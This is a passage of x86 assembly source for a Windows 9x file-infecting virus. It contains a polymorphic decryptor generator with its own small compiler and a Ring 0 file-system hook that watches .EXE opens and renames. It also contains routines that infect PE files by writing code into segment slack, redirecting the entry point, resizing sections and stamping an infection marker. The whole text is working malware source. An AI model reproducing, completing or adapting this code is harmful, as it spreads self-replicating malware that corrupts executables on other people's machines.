ecx,Undefined call DeleteFromInfo Label34: popad call IsOperandUndefined jz ChangeOutput call GetTable mov ecx,[FromOperand+ebp] mov edx,[FromTypeOfValue+ebp] xor ebx,ebx test edx,edx jz ValueIsProperlyEmulated_DontNeedThisHack add ebx,[eax] ValueIsProperlyEmulated_DontNeedThisHack: add ebx,[eax+4] add ebx,[eax+8] add ebx,[eax+12] test ebx,ebx jnz MakeUndefined YesChangeIt: mov ebx,[EmulateInstruction+ebp] mov ebx,[ebx] add ebx,ebp call ebx ChangeOutput: call GetEqualValue shr ebx,2 call Output ret MakeUndefined: mov ebx,Undefined or [eax+InfoPtr],ebx jmp ChangeOutput FoundEquals dd 0 ReadFromType dd 0 GetEqualValue: xor ebx,ebx ; register table mov [FoundEquals+ebp],ebx mov [ReadFromType+ebp],ebx mov ecx,Registers call CompareOperands mov ecx,[ToType+ebp] cmp ecx,4 jae DontTryMemory mov ecx,MemorySize mov [ReadFromType+ebp],4 call CompareOperands DontTryMemory: push [FromOperand+ebp] push [FromTypeOfValue+ebp] mov eax,[FoundEquals+ebp] inc eax mov ecx,eax call Random imul eax,eax,8 mov ebx,[esp+eax] mov eax,[esp+eax+4] ; eax = Operand imul ecx,ecx,8 add esp,ecx test ebx,ebx jz Return ; mov ecx,Writeable call DeleteFromInfo ; delete writeable from mem ; might still create bugs!!! ; will be fixed in the future ; (the odds a bug will happen ; is extremly low) ret CompareOperands: pop [ReturnAddress+ebp] inc ecx CmpLoop: dec ecx jnz Label30 jmp [ReturnAddress+ebp] Label30: mov eax,ecx mov ebx,[ReadFromType+ebp] call ReadOperand cmp eax,[FromOperand+ebp] jnz CmpLoop cmp ebx,[FromTypeOfValue+ebp] jnz CmpLoop cmp ecx,[ToOperand+ebp] jz CmpLoop push ecx ; Operand mov ebx,[ReadFromType+ebp] ; Type add ebx,4 push ebx inc [FoundEquals+ebp] jmp CmpLoop UndefineDependentOperands: call IsOperandUndefined jnz Return pushad xor ebx,ebx mov ecx,Registers call Undefine mov ebx,4 mov ecx,MemorySize call Undefine popad ret Undefine: inc ecx mov edx,ebx UndefineLoop: dec ecx jz Return mov eax,ecx mov ebx,edx cmp eax,[ToOperand+ebp] jz UndefineLoop call ReadOperand sub ebx,4 cmp ebx,[ToType+ebp] jnz UndefineLoop cmp eax,[ToOperand+ebp] jnz UndefineLoop push ecx mov eax,ecx mov ebx,edx mov ecx,Undefined call SetInfo pop ecx jmp UndefineLoop ; ----------------------------------------------- ; -------------------------- High level functions ; ----------------------------------------------- RandomOperand: mov eax,3+EndValueFrecuency shr ebx,2 ; ebx = 0 or 1 sub eax,ebx ; eax = 3 or 2 call Random xor ebx,ebx test eax,eax jz Random ; eax = 1 or 2 dec eax jz GetReadableReg sub eax,EndValueFrecuency+1 jz GetReadable mov eax,[EndValue+ebp] mov ebx,[EndTypeOfValue+ebp] and ebx,111b ret GetWriteableReg: call GetWriteableLabel1 test ebx,ebx jnz GetWriteableReg ret ; Returns a writeable operand GetWriteable: mov eax,3 ; create more reg then call Random ; mem test eax,eax jnz GetWriteableReg GetWriteableLabel1: call GetReadable mov ecx,Writeable sub ebx,4 call TestInfo jnz GetWriteableLabel1 ret GetReadableReg: call GetReadable cmp ebx,4 jnz GetReadableReg ret ; Returns a operand GetReadable: mov ebx,4 mov eax,Registers+MemorySize call Random inc eax cmp eax,Registers+1 jl Return shl ebx,1 sub eax,Registers+1 ret ; input ; eax = register or number ; ebx = number or register and value or mem ; ebx = 0 = number ; ebx = 1 = register ; ebx = 2 = [number] ; ebx = 3 = [register] ; ------------------------------------------ ; ---------------------- Low level functions ; ------------------------------------------ Random: push ebx push ecx push edx mov ebx,eax add eax,[RandomNumber+ebp] mov cl,al rol eax,cl add eax,14 xor ecx,46 ror eax,cl add eax,ecx xor [RandomNumber+ebp],eax test ebx,ebx jz NoMod xor edx,edx div ebx xchg eax,edx NoMod: pop edx pop ecx pop ebx ret ; input ; edx = opcode OutputOnlyOpcode: add edi,16 and edi,0fffffff0h bswap edx mov [edi],edx add edi,4 ret OutputOpcode: call OutputOnlyOpcode jmp OutputNotComma Output: mov byte ptr [edi],',' inc edi OutputNotComma: push ecx xor ecx,ecx cmp ebx,1 setbe cl lea ecx,[ecx*8+ecx] push ecx test ecx,ecx jnz Label10 mov byte ptr [edi],'[' inc edi Label10: test ebx,1 setnz cl shl ecx,2 add ecx,'N' mov byte ptr [edi],cl inc edi cmp ecx,'N' jz OutputNumber add eax,'0' stosb sub eax,'0' Label11: pop ecx test ecx,ecx jnz Label12 mov byte ptr [edi],']' inc edi Label12: pop ecx ret OutputNumber: pop ecx push ecx test ecx,ecx setnz cl push eax mov eax,'S' mov byte ptr [edi+ecx-1],al ; variable pop eax stosd jmp Label11 GetTable: cmp ebx,8 stc jz Return dec eax imul eax,eax,20 ; TableSize add eax,[Tables+ebx+ebp] clc ret SetInfo: push eax call GetTable jc ReturnPopEax or [eax+InfoPtr],ecx ; Set attribute pop eax ret DeleteFromInfo: push eax call GetTable jc ReturnPopEax or [eax+InfoPtr],ecx ; Set attribute xor [eax+InfoPtr],ecx ; Clear it pop eax ret ChangeInfo: push eax call GetTable jc ReturnPopEax mov [eax+InfoPtr],ecx pop eax ret IsOperandUndefined: push ecx mov ecx,Undefined call TestInfo pop ecx jz Return jc SetZeroFlag ret SetZeroFlag: cmp eax,eax ret TestInfo: push eax call GetTable jc ReturnPopEax test [eax+InfoPtr],ecx mov ecx,0 setnz cl lahf shl cl,6 btr ax,6+8 or ah,cl sahf pop eax clc ret ; eax = The operand ; ebx ; Which table to read from ReadOperand: call IsOperandUndefined jz OperandIsUndefined call GetTable push ecx xor ebx,ebx mov ecx,16 FindValueLoop: sub ecx,4 jecxz Label32 cmp [eax+ecx],ebx jz FindValueLoop Label32: mov ebx,ecx mov eax,[eax+ecx] pop ecx ret OperandIsUndefined: add ebx,4 ret ReturnPopEax: pop eax ret GetWhereFrom: lea ebx,[FromWhere+ebp-4] jmp GodDamnedLabelDammit GetWhereTo: lea ebx,[EndWhere+ebp-4] GodDamnedLabelDammit: push ebx xor eax,eax dec eax GodDamnedLoopDammit: add ebx,4 cmp eax,[ebx] jz GodDamnedLoopDammit mov eax,[ebx] sub ebx,[esp] sub ebx,4 add esp,4 ret OutputPrefix: push eax xor eax,eax cmp eax,[Prefix+ebp] jz OutputPrefixEnd add edi,16 and edi,0fffffff0h mov eax,Op_db bswap eax stosd xor eax,eax inc eax stosb xor eax,eax xchg eax,[Prefix+ebp] stosb OutputPrefixEnd: pop eax ret Optimize: call ClearDoNothingInstrucions ; call ClearUnnessesaryInstructions xchg esi,edi ret MaybeUnnessesaryInstructions: dd Op_mov, Op_add, Op_sub, Op_and, Op_or, Op_xor MaybeUnnessesaryInstructionsEnd: ClearUnnessesaryInstructions: push edi sub esi,16 ClearUnnessesaryInstructionsLoop: push edi add esi,16 and esi,0fffffff0h lodsd bswap eax lea edi,[MaybeUnnessesaryInstructions+ebp] mov ecx,(MaybeUnnessesaryInstructionsEnd-MaybeUnnessesaryInstructions)/4 repnz scasd test ecx,ecx jz DontOptimize2 xor eax,eax .while (al!=',') lodsb .endw mov edi,esi mov ecx,1000h FindNextEntry: ; rep scasb jecxz DontOptimize2 mov ebx,edi and edi,0fffffff0h sub ebx,edi cmp ebx,4 jz DontOptimize2 mov ebx,Op_mov cmp [edi],ebx jnz FindNextEntry pop edi jmp ClearUnnessesaryInstructionsLoop DontOptimize2: pop edi and esi,0fffffff0h mov ecx,16 rep movsb sub esi,16 jmp ClearUnnessesaryInstructionsLoop pop edi ret ClearDoNothingInstrucions: push edi sub esi,16 xor ecx,ecx OptimizeLoop: add esi,16 and esi,0fffffff0h push esi lodsd test eax,eax jz OptimizeEnd bswap eax cmp eax,Op_mov jnz DontOptimize xor eax,eax lodsw mov ebx,eax lodsb lodsw cmp ebx,eax jnz DontOptimize pop esi jmp OptimizeLoop DontOptimize: mov ecx,16 pop esi rep movsb sub esi,16 jmp OptimizeLoop OptimizeEnd: test ecx,ecx jnz OptimizeDoReallyQuit mov ecx,16 pop esi rep movsb sub esi,16 inc ecx jmp OptimizeLoop OptimizeDoReallyQuit: pop eax pop edi ret ; 1. Init block ; offset 0 ; pushad ; 2. Make pointer to mem ; 3. Read block ; Encrypt block ; Write block ; popad ; 5. Change mempointer block ; 6. Compare and jump block PE_Objects equ 6 PE_NTHdrSize equ 20 PE_Entrypoint equ 40 PE_ImageBase equ 52 PE_ObjectAlign equ 56 PE_FileAlign equ 60 PE_ImageSize equ 80 Obj_Name equ 0 Obj_VirtualSize equ 8 Obj_VirtualOffset equ 12 Obj_PhysicalSize equ 16 Obj_PhysicalOffset equ 20 Obj_Flags equ 36 IFSMgr equ 0040h R0_AllocMem equ 000dh R0_FreeMem equ 000eh Ring0_FileIO equ 0032h InstallFileSystemAPIhook equ 0067h UniToBCSPath equ 0041h ResidentcodeStart: jmp FileFunction R0_OPENCREATFILE equ 0D500h ; Open/Create a file R0_READFILE equ 0D600h ; Read a file, no context R0_WRITEFILE equ 0D601h ; Write to a file, no context R0_CLOSEFILE equ 0D700h IFSFN_FILEATTRIB equ 33 IFSFN_OPEN equ 36 IFSFN_RENAME equ 37 IFSFN_READ equ 0 ; read a file IFSFN_WRITE equ 1 ; write a file FileIOWrite: mov eax,R0_WRITEFILE mov ebx,[FileHandle+edi] pop [ReturnAddr+edi] push Ring0_FileIO jmp Label6 FileIOReadDWordToSlack: mov ecx,4 ; how many bytes FileIOReadToSlack: lea esi,[Slack+edi] ; where to place data FileIORead: mov eax,R0_READFILE FileIOHandle: mov ebx,[FileHandle+edi] FileIO: pop [ReturnAddr+edi] push Ring0_FileIO jmp Label6 vxd: pop [ReturnAddr+edi] Label6: pop [CallService+edi+2] mov word ptr [CallService+edi],20cdh mov word ptr [CallService+edi+4],0040h jmp CallService CallService: Slack: int 20h dw 0dh dw 0040h jmp [ReturnAddr+edi] ZeroRegStart: db 0 FileToInfect db 256 dup (0) TempPtr dd 0 TotalSize dd 0 OldAPIFunction dd 0 GuidePos dd 0 GuideSize dd 0 DecryptorPos dd 0 DecryptorSize dd 0 HeaderSize dd 0 VirusInRing0Mem dd 0 MemoryTable dd 0 VirtualDataSegment dd 0 ReturnAddr dd 0 ReturnAddr2 dd 0 Flag dd 0 FileHandle dd 0 PEHeadOfs dd 0 PEHeadStart dd 0 ObjTable dd 0 CodeObjectPtr dd 0 DataObjectPtr dd 0 LastObjectPtr dd 0 SlackInCodeSegment dd 0 SlackInDataSegment dd 0 OldRVA dd 0 StackSave dd 0 NewVirusOffset dd 0 JumpTableMoveOffset dd 0 NewGuideOffset dd 0 NewDecryptorOffset dd 0 NewDataSegmentOffset dd 0 Unload dd 0 ZeroRegEnd: ; eax = how much free space ; ebx = where it is located ; ecx = pointer to segment object table ; edx = last object pointer GetSegmentSlack: pop [ReturnAddr2+edi] mov eax,[PEHeadStart+edi] lea ebx,[eax+24] xor ecx,ecx mov cx,[eax+PE_NTHdrSize] ; NT hdr size add ebx,ecx ; ebx -> object table mov cx,[eax+PE_Objects] ; # objects imul ecx,ecx,40 add ecx,ebx push ecx ; push pointer to last object ; + 40 FindCodeSegmentLoop: sub ecx,8*5 cmp ecx,ebx jl DidntFindSegment cmp dword ptr [ecx],edx ; is code object? jnz FindCodeSegmentLoop pop edx ; pop pointer to last object sub edx,40 mov eax,[ecx+Obj_PhysicalSize] ; size of segment mov ebx,[ecx+Obj_PhysicalOffset] ; where does segment start call CalculateFreeSpace jmp [ReturnAddr2+edi] DidntFindSegment: pop eax xor eax,eax jmp [ReturnAddr2+edi] SegmentSize dd 0 SegmentOffset dd 0 SegmentBuffer dd 0 CalculateFreeSpace: push ecx push edx mov [SegmentSize+edi],eax mov [SegmentOffset+edi],ebx push eax push R0_AllocMem call vxd pop ecx test eax,eax jz FileFunctionEndAddEsp mov [SegmentBuffer+edi],eax mov edx,[SegmentOffset+edi] ; read from mov esi,eax ; read to mov ecx,[SegmentSize+edi] ; how much to read call FileIORead mov ebx,edi mov edi,[SegmentBuffer+ebx] add edi,[SegmentSize+ebx] sub edi,4 ; edi -> end of segment push edi ; push end of seg xor eax,eax xor ecx,ecx dec ecx std repz scasb cld dec eax sub eax,ecx mov edi,ebx pop ebx ; end of seg sub ebx,8 ; decrease some push eax ; push number of slack bytes mov eax,[SegmentBuffer+edi] sub ebx,eax push eax push R0_FreeMem call vxd pop eax pop eax ; eax = slackbytes in codeseg sub eax,20 ; some safety sub ebx,eax ; where slack starts pop edx pop ecx ret ; ---------------------------------------- ; --------------------------- FileFunction ; ---------------------------------------- FileFunction: push ebp mov ebp,esp push edi push esi push ebx BasePtr: mov edi,66666666h cmp [Unload+edi],1 jz CallInOurFunction xor eax,eax inc eax cmp [Flag+edi],eax jz CallInOurFunction mov [Flag+edi],eax mov eax,[ebp+12] cmp eax,IFSFN_OPEN jz CheckFilename cmp eax,IFSFN_FILEATTRIB jz CheckFilename cmp eax,IFSFN_RENAME jnz FileFunctionEnd CheckFilename: mov eax,[ebp+16] test eax,eax jz FileFunctionEnd cmp eax,0ffh jz FileFunctionEnd cmp eax,25 ja FileFunctionEnd add eax,'a'-1 add eax,':'*256 lea esi,[FileToInfect+edi] mov word ptr [esi],ax add esi,2 push 0 push 250 mov eax,[ebp+28] mov eax,[eax+12] add eax,4 push eax push esi push UniToBCSPath call vxd add esp,16 mov byte ptr [esi+eax],0 cmp dword ptr [esi+eax-4],'EXE.' jne FileFunctionEnd xor ebx,ebx cmp dword ptr [esi+1],'OLNU' ; is catalog starting on unlo setz bl mov [Unload+edi],ebx ; unload virus then cmp dword ptr [esi],'FNI' ; dont infect files in win* jne FileFunctionEnd ; if there is a bug we dont ; to hurt system critical ; files sub esi,2 mov bx,2 mov cx,0 mov dx,1h mov eax,R0_OPENCREATFILE call FileIO jc FileFunctionEnd mov [FileHandle+edi],eax xor edx,edx ; where to read in file call FileIOReadDWordToSlack jc FileFunctionEndCloseFile cmp word ptr [Slack+edi],'ZM' jnz FileFunctionEnd mov edx,3ch ; where to read in file call FileIOReadDWordToSlack mov edx,[Slack+edi] mov [PEHeadOfs+edi],edx call FileIOReadDWordToSlack cmp word ptr [Slack+edi],'EP' jnz FileFunctionEndCloseFile mov edx,[PEHeadOfs+edi] add edx,84 call FileIOReadDWordToSlack mov ecx,[Slack+edi] ; size of exehead, pehead and ; objtable mov edx,[PEHeadOfs+edi] sub ecx,edx ; size of pehead and objtable cmp ecx,1000h ja FileFunctionEndCloseFile mov [HeaderSize+edi],ecx lea eax,[ecx+20] ; allocate mem for PEHeader push eax push R0_AllocMem call vxd pop ecx test eax,eax jz FileFunctionEndCloseFile mov ecx,[HeaderSize+edi] mov edx,[PEHeadOfs+edi] mov esi,eax mov [PEHeadStart+edi],esi call FileIORead mov eax,[PEHeadStart+edi] cmp word ptr [eax],'EP' jnz FileFunctionEndAddEsp mov ebx,'y3k?' ; already infected cmp [eax+12],ebx jz FileFunctionEndAddEsp mov edx,'xet.' call GetSegmentSlack ; eax = how much free space ; ebx = where it is located ; ecx = pointer to segment object table ; edx = pointer to last object table cmp eax,[GuideSize+edi] jl FileFunctionEndAddEsp mov [CodeObjectPtr+edi],ecx ; save offset of code object mov [SlackInCodeSegment+edi],ebx mov edx,'tad.' call GetSegmentSlack test eax,eax jz FileFunctionEndAddEsp mov [DataObjectPtr+edi],ecx ; save offset of data object push eax push ebx .if (ecx==edx) mov ebx,[PEHeadStart+edi] mov eax,[ebx+PE_FileAlign+8] ; file align .else mov eax,[ecx+Obj_PhysicalSize] ; physical size .endif mov ebx,[ecx+Obj_VirtualSize] ; - virtual size sub eax,ebx ; = free space mov [SlackInDataSegment+edi],ebx cmp eax,MemorySize*4 ; if this is true we can be jg InfectFile ; 'sure' no bug will occure. add eax,ebx ; size of .data segment on ; disk sub eax,MemorySize*4+10 ; some safety pop ebx ; where in file the zero add ebx,200h ; slack starts sub eax,ebx pop eax ; size of slack block jc FileFunctionEndAddEsp sub eax,250h+MemorySize*4 ; enough mem free jc FileFunctionEndAddEsp ; this method is more risky ; will bug out if the ; infected program relies ; on the data to be cleared sub esp,8 mov [SlackInDataSegment+edi],ebx InfectFile: add esp,8 mov [LastObjectPtr+edi],edx ; ptr to last object table mov ecx,[PEHeadStart+edi] mov edx,[ecx+PE_Entrypoint] ; save old RVA mov [OldRVA+edi],edx mov ecx,[CodeObjectPtr+edi] mov ebx,[SlackInCodeSegment+edi] BreakPoint: mov eax,ebx ; ebx = how far in is free ; space add ebx,[ecx+Obj_VirtualOffset] ; ebx = free space in mem mov edx,[PEHeadStart+edi] mov [edx+PE_Entrypoint],ebx ; save new RVA add eax,[ecx+Obj_PhysicalOffset] ; eax = free space in file mov [NewGuideOffset+edi],eax mov ecx,[DataObjectPtr+edi] mov eax,[ecx+Obj_VirtualOffset] ; data space in mem add eax,[SlackInDataSegment+edi] ; free data space in mem add eax,(MemorySize-1)*4 add eax,[edx+PE_ImageBase] ; add with image base mov ecx,MemorySize mov ebx,[MemoryTable+edi] mov edx,0ch mov [ebx+ecx*4],edx ; used in fs:[0c] sub ebx,4 CopyPointersToMem: mov [ebx+ecx*4],eax sub eax,4 dec ecx jnz CopyPointersToMem add ebx,4 mov [PointerToDataSlack+edi],ebx mov ebx,[LastObjectPtr+edi] mov eax,[VirtualDataSegment+edi] mov ecx,[ebx+Obj_VirtualOffset] ; virtual offset add ecx,[ebx+Obj_PhysicalSize] ; physical size mov edx,[PEHeadStart+edi] add ecx,[edx+PE_ImageBase] ; add with imagebase mov [eax+8],ecx ; Decryptor Entrypoint mov edx,[OldRVA+edi] mov ebx,[PEHeadStart+edi] add edx,[ebx+PE_ImageBase] ; add with image base mov [eax],edx ; Program entrypoint mov ebx,[DataObjectPtr+edi] mov ecx,[ebx+Obj_VirtualOffset] ; Virtual offset add ecx,[SlackInDataSegment+edi] ; Virtual offset of data slack mov edx,[PEHeadStart+edi] add ecx,[edx+PE_ImageBase] ; add with image base mov [eax+4],ecx mov ecx,[ebx+Obj_PhysicalOffset] add ecx,[SlackInDataSegment+edi] ; Physical offset of data slack mov [NewDataSegmentOffset+edi],ecx mov ebx,[LastObjectPtr+edi] mov ecx,[ebx+Obj_PhysicalSize] ; physical size add ecx,[ebx+Obj_PhysicalOffset] ; physical offset mov [NewDecryptorOffset+edi],ecx ; Entrypoint in file mov edx,[eax+8] ; decryptor start add edx,[DecryptorSize+edi] mov [eax+12],edx ; save where to start decrypt ; write Guide pushad mov esi,[GuidePos+edi] mov eax,[GuideSize+edi] add eax,100 ; allocate mem for PEHeader push eax push R0_AllocMem call vxd pop ecx test eax,eax jz FileFunctionEndCloseFile mov [TempPtr+edi],eax push edi mov ebp,edi mov edi,eax call Compile pop edi mov edx,[NewGuideOffset+edi] ; write to mov ecx,[GuideSize+edi] ; write ecx bytes call FileIOWrite mov eax,[TempPtr+edi] push eax push R0_FreeMem call vxd pop eax mov esi,[DecryptorPos+edi] mov eax,[DecryptorSize+edi] add eax,100 ; allocate mem for PEHeader push eax push R0_AllocMem call vxd pop ecx test eax,eax jz FileFunctionEndCloseFile mov [TempPtr+edi],eax push edi mov ebp,edi mov edi,eax call Compile pop edi ; write Decryptor mov edx,[NewDecryptorOffset+edi] mov ecx,[DecryptorSize+edi] call FileIOWrite mov eax,[TempPtr+edi] push eax push R0_FreeMem call vxd pop eax popad mov edx,[NewDataSegmentOffset+edi] mov ecx,MemorySize*4 mov esi,[VirtualDataSegment+edi] call FileIOWrite mov edx,[NewDecryptorOffset+edi] add edx,[DecryptorSize+edi] mov ecx,VSize mov esi,[VirusInRing0Mem+edi] call FileIOWrite mov ebx,VSize add ebx,[DecryptorSize+edi] mov esi,[LastObjectPtr+edi] mov eax,[esi+Obj_PhysicalSize] ; physical size add eax,ebx ; add with new virussize add eax,100 ; safety mov edx,[PEHeadStart+edi] mov ecx,[edx+PE_ObjectAlign] ; object align xor edx,edx div ecx inc eax xor edx,edx mul ecx .if eax>[esi+8] mov [esi+Obj_VirtualSize],eax ; save new virtual size .endif mov eax,[esi+Obj_PhysicalSize] ; physical size add eax,ebx ; add with virus size add eax,20 ; safety mov edx,[PEHeadStart+edi] mov ecx,[edx+PE_FileAlign] ; file align xor edx,edx div ecx inc eax xor edx,edx mul ecx mov [esi+Obj_PhysicalSize],eax ; save new physical size mov eax,'y3k?' mov ecx,[PEHeadStart+edi] mov [ecx+12],eax mov eax,[LastObjectPtr+edi] mov esi,0c0000040h mov [eax+Obj_Flags],esi mov eax,[ecx+PE_ImageSize] ; size of image add eax,VirusSize ; add with virussize mov ecx,[ecx+PE_ObjectAlign] ; object aligment xor edx,edx div ecx inc eax xor edx,edx mul ecx ; new size of image in eax mov esi,[PEHeadStart+edi] mov [esi+PE_ImageSize],eax ; save it mov edx,[PEHeadOfs+edi] ; write to mov ecx,[HeaderSize+edi] call FileIOWrite FileFunctionEndAddEsp: mov eax,[PEHeadStart+edi] push eax push R0_FreeMem call vxd pop eax FileFunctionEndCloseFile: mov eax,R0_CLOSEFILE call FileIOHandle FileFunctionEnd: xor eax,eax mov [edi+Flag], eax CallInOurFunction: mov eax,[edi+OldAPIFunction] mov ecx,edi pop ebx pop esi pop edi pop ebp pop [ReturnFromHook+ecx] lea edx,[ReturnFromHook+ecx+4] sub [ReturnFromHook+ecx],edx call dword ptr [eax] db 0e9h ReturnFromHook: dd 0 ; ------------------------------ ; --------------------- Compiler ; ------------------------------ PointerToRandomMemory equ MemorySize PointerToDataSlack dd 0 SavedOffsets dd 10 dup (-1) InstructionTable: dd Op_add dd Op_and dd Op_cmp dd Op_or dd Op_sub dd Op_xor dd Op_mov dd Op_jmp dd Op_jnz dd Op_jnb dd Op_jna dd Op_offset dd Op_db InstructionTableEnd: InstructionTables: AddTable: dd DefaultProc1 db 00000000b db 10000000b db 00000100b db 000b AndTable: dd DefaultProc1 db 00100000b db 10000000b db 00100100b db 100b CmpTable: dd DefaultProc1 db 00111000b db 10000000b db 00111100b db 111b OrTable: dd DefaultProc1 db 00001000b db 10000000b db 00001100b db 001b SubTable: dd DefaultProc1 db 00101000b db 10000000b db 00101100b db 101b XorTable: dd DefaultProc1 db 00110000b db 10000000b db 00110100b db 110b MovTable: dd MoveProc db 10001000b db 11000110b db 10111000b db 000b JmpTable: dd JmpProc dd 0 JnzTable: dd JxxProc db 0101b db 0,0,0 JnbTable: dd JxxProc db 0011b db 0,0,0 JnaTable: dd JxxProc db 0110b db 0,0,0 OffsetTable: dd OffsetProc dd 0 DeclareByteTable: dd DeclareByteProc dd 0 ToValue dd 0 ToTypeOfValue dd 0 SecondValue dd 0 SecondTypeOfValue dd 0 Instruction dd 0,0,0 InstructionLength dd 0 RegistersBitValue: dd 0 IntelEax dd 000b IntelEbx dd 011b IntelEcx dd 001b IntelEdx dd 010b IntelEsi dd 110b IntelEdi dd 111b IntelEsp dd 100b ReadInstruction1: push edi lea edi,[InstructionTable+ebp] mov ecx,(InstructionTableEnd-InstructionTable)/4+1 add esi,16 and esi,0fffffff0h lodsd bswap eax push edi repnz scasd sub edi,[esp] shl edi,1 lea ebx,[edi+4-8+InstructionTables+ebp] mov eax,[ebx-4] add eax,ebp pop edi pop edi test ecx,ecx jz CompileEnd jmp eax ReadOperands: call GetOperand mov [ToValue+ebp],eax mov [ToTypeOfValue+ebp],ebx mov al,byte ptr [esi] cmp al,',' jnz Return inc esi call GetOperand mov [SecondValue+ebp],eax mov [SecondTypeOfValue+ebp],ebx ret SetDirectionBit: call WhatOperandIsRegMem setl bl shl ebx,1 or [Instruction+ebp],ebx ret GetOther: call WhatOperandIsRegMem jnl Label40 mov eax,[ToValue+ebp] mov ebx,[ToTypeOfValue+ebp] ret GetRegMem: call WhatOperandIsRegMem jl Label40 mov eax,[ToValue+ebp] mov ebx,[ToTypeOfValue+ebp] ret Label40: mov eax,[SecondValue+ebp] mov ebx,[SecondTypeOfValue+ebp] ret RegMem_Reg equ 0 RegMem_Immediate equ 1 Eax_Immediate equ 2 FetchOpcode: call GetRegMem cmp ebx,4 setz bl cmp eax,1 setz al and eax,ebx mov ecx,eax call GetOther xor eax,eax test ebx,ebx jnz Return inc eax add eax,ecx ret WhatOperandIsRegMem: xor ebx,ebx mov eax,[ToTypeOfValue+ebp] cmp eax,[SecondTypeOfValue+ebp] ret FixAddresses: lea edx,[Instruction+ebp] add edx,[InstructionLength+ebp] call GetRegMem xor ecx,ecx cmp ebx,8 setl cl imul ecx,ecx,3 shl ecx,6 cmp ebx,8 jz MemoryValue mov eax,[eax*4+RegistersBitValue+ebp] or ecx,eax jmp Label43 MemoryValue: or ecx,101b mov [edx+1],eax add [InstructionLength+ebp],4 Label43: inc [InstructionLength+ebp] call GetOther test ebx,ebx jz LastOperandIsImmediate mov eax,[eax*4+RegistersBitValue+ebp] shl eax,3 or ecx,eax mov byte ptr [edx],cl ret LastOperandIsImmediate: push edx lea edx,[Instruction+ebp] add edx,[InstructionLength+ebp] mov [edx],eax add [InstructionLength+ebp],4 pop edx or byte ptr [edx],cl ret OutputInstruction: push esi lea esi,[Instruction+ebp] mov ecx,[InstructionLength+ebp] rep movsb pop esi ret ; input ; Edi -> where to put compiled code ; Esi -> code to compile ; return ; eax = where to put compiled code ; ebx = size of compiled code Compile: push edi sub esi,16 CompileAgain: mov [Instruction+ebp],0 mov [InstructionLength+ebp],0 call ReadInstruction1 mov al,0c3h mov byte ptr [edi],al jmp CompileAgain CompileEnd: pop esi pop esi mov eax,edi sub eax,esi ret OffsetProc: call AsciiToNum mov [SavedOffsets+ebp+eax*4],edi ret DeclareByteProc: xor eax,eax lodsb mov ecx,eax rep movsb ret MoveProc: push ebx call ReadOperands call SetDirectionBit call FetchOpcode test eax,eax jz DefaultProc1Label1 call GetRegMem mov ecx,eax mov eax,1 cmp ebx,8 jz DefaultProc1Label1 mov eax,[ecx*4+RegistersBitValue+ebp] lea edx,[Instruction+ebp] pop ebx or al,byte ptr [ebx+2] mov [edx],eax call GetOther mov [edx+1],eax mov [InstructionLength+ebp],5 jmp OutputInstruction DefaultProc1: push ebx call ReadOperands call SetDirectionBit call FetchOpcode DefaultProc1Label1: pop ebx add ebx,eax movzx ecx,byte ptr [ebx] inc ecx dec eax jnz Label41 mov ch,byte ptr [ebx+2] shl ch,3 Label41: or [Instruction+ebp],ecx inc [InstructionLength+ebp] dec eax jz CopyDataToInstruction call FixAddresses jmp OutputInstruction CopyDataToInstruction: call GetOther lea ebx,[Instruction+ebp] add ebx,[InstructionLength+ebp] mov [ebx],eax add [InstructionLength+ebp],4 jmp OutputInstruction ;-JMP-------Jump ;Near,8-bit |1|1|1|0|1|0|1|1| 8-bit Displacement ;Near,Direct |1|1|1|0|1|0|0|1| Full Displacement ;Near,Indirect |1|1|1|1|1|1|1|1| |mod|1|0|0| R/M | JmpProc: call GetOperand xor ecx,ecx test ebx,ebx jz JumpIsIndirect mov ebx,[eax*4+RegistersBitValue+ebp] mov al,0ffh stosb mov eax,ebx or eax,00100000b stosb ret JumpIsIndirect: mov ebx,[SavedOffsets+ebp+eax] sub ebx,edi add ebx,4 test ebx,0fffffff8h jz OutPutSmallJump ret JxxProc: movzx edx,byte ptr [ebx] push edx call GetOperand pop edx mov ebx,[SavedOffsets+ebp+eax] sub ebx,edi add ebx,4 test ebx,0fffffff8h jz OutPutSmallJump mov al,0fh stosb mov al,10000000b or eax,edx stosb sub ebx,6+4 mov eax,ebx stosd ret OutPutSmallJump: mov al,01110000b or eax,edx stosb mov eax,ebx sub eax,2+4 stosb ret ret GetOperand: xor edx,edx mov al,byte ptr [esi] cmp al,'[' setz dl mov ecx,edx add esi,edx shl edx,3 mov ebx,edx ; ebx = 0 or 8 lodsb cmp al,'S' ; A variable jnz Label53 mov edx,[PointerToDataSlack+ebp] lodsd mov eax,[edx+eax*4] add esi,ecx xor edx,edx ret Label53: cmp al,'R' setz dl shl edx,2 add ebx,edx ; ebx = ebx + (0 or 4) test edx,edx ; is value jz ReadValue xor eax,eax lodsb ; read register cmp al,'X' jz GetRandomReg sub eax,'0' add esi,ecx ret ReadValue: lodsd add esi,ecx ret Return: ret AsciiToNum: xor eax,eax lodsb sub eax,'0' ret ResidentcodeEnd: VirusEnd: _rsrc ends end Main